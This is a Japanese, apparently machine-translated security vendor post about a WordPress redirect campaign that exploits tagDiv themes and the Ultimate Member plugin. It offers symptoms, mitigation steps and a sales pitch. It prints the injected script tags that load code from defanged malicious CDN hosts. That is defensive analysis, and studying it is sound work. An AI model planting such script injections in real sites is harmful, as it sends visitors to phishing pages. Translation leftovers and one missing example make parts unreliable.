WordPress リダイレクト キャンペーン:脆弱な tagDiv テーマと Ultimate Member プラグイン

日を追うごとに、訪問者を不審なページにリダイレクトする WordPress 感染の事例が増えています。最近、tagDiv テーマと Ultimate Member プラグインに脆弱性が発見されました。この WordPress リダイレクト ハッキングでは、あなたの Web サイトへの訪問者がフィッシングや悪意のあるページにリダイレクトされます。

このハッキングでは、ユーザーはリダイレクトされると、任意の URL を持つ苛立たしいページに誘導されます

hxxp utroro.com/xyz  or 

hxxp://murieh.abc/xyz or

hxxps://unverf.com/xyz

reCAPTCHA 画像のフィッシング。表示されたテキストは、訪問者を騙して、動機を明らかにせずにブラウザ通知を許可しようとします。

さらに、Google は、フィッシングやハッキングされた Web サイトに対してあなたの Web サイトをブラックリストに載せることで、あなたに罰を与えます。 Web ブラウザーは、Web サイトにアクセスする訪問者に警告メッセージを表示します。

挿入された悪意のあるスクリプト

注入された感染には、2 つの Web サイト ( cdn.allyouwant.online) のいずれかからのコードが含まれます。および cdn.eeduelements.com.

前者はこの悪意のあるキャンペーンの最近の段階で使用され、後者は最初に使用されました。

...
<script type='text/javascript' src='hxxps://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script><script type='text/javascript' src='hxxps://cdn.allyouwant.online/main.js?t=lp1'></script></head>
...

現在、cdn.eeduelements.com スクリプトを含む 1700 以上のサイトと cdn.allyouwant.online スクリプトを含む 500 以上のサイト。

WordPress のリダイレクト ハッキングが心配ですか?チャット ウィジェットにメッセージをお送りください。喜んで修正いたします。今すぐ WordPress ウェブサイトを保護してください。

tagDiv テーマの攻撃ベクトル

この WordPress エクスプロイトの背後にいる主な人物は、tagDiv テーマです。 人気のある Ultimate Member で最近発見された (そして既にパッチが適用されている) 脆弱性 100,000+ のプラグイン

古い tagDiv テーマの場合 、マルウェア インジェクションは次のように表示されます:

Ultimate Member プラグインの脆弱性

Ultimate Member プラグインの脆弱性は、認証されていない任意のファイル アップロードです。脆弱性は 2018 年 8 月 9 日に修正されましたが。

WordPress リダイレクト キャンペーンの症状:Ultimate Member プラグインの悪用

<オール>

Index.php が破損しています

/wp-content/plugins/ultimate-member/includes/images/smiles ディレクトリ内の不明な PHP ファイル

エラー ログの表示:5 行目と 6 行目の wp-content/plugins/ultimate-member/assets/dynamic_css/dynamic_profile.php

ウェブサイトが不要なサイトにリダイレクトされる (アドウェア)

ホームページにアクセスするとポップアップが表示されます

クレジットカード情報が盗まれる

サーバー上に不明なファイルが作成される

WordPress およびプラグイン フォルダのクエリ ファイルが変更されました

index.php の意味不明なコード

WordPress リダイレクト ハッキング:軽減策

この WordPress リダイレクト感染は、他のいくつかの攻撃ベクトルと疑わしいコードのいくつかの亜種を使用します。 WordPress リダイレクトを軽減するためのいくつかの手順を次に示します。

<オール>

すべてのテーマとプラグインを最新バージョンに更新します。

HTTP 認証を設定して、PHP ファイルがアップロード フォルダに直接アクセスできないようにします。これは、不正な実行を防ぐためです。

tagDiv に感染した場合、マルウェアはテーマの管理インターフェースで検出および削除できます。

Ultimate Member プラグインの悪用に備えて、wp-content/uploads/ultimatemember/temp/ の下のサブディレクトリにあるすべての PHP ファイルを削除してください。

これらの悪意のあるリダイレクト キャンペーンは、感染コードと影響を受けるファイルを頻繁に変更します。セキュリティの専門家に相談することをお勧めします。

マルウェアの即時クリーンアップについては、Astra のセキュリティ専門家に今すぐ相談してください。当社の強力なファイアウォールは、XSS、LFI、RFI、SQL インジェクション、悪意のあるボット、自動化された脆弱性スキャナー、および 80 以上のセキュリティ脅威から Web サイトを保護します。今すぐウェブサイトを保護してください。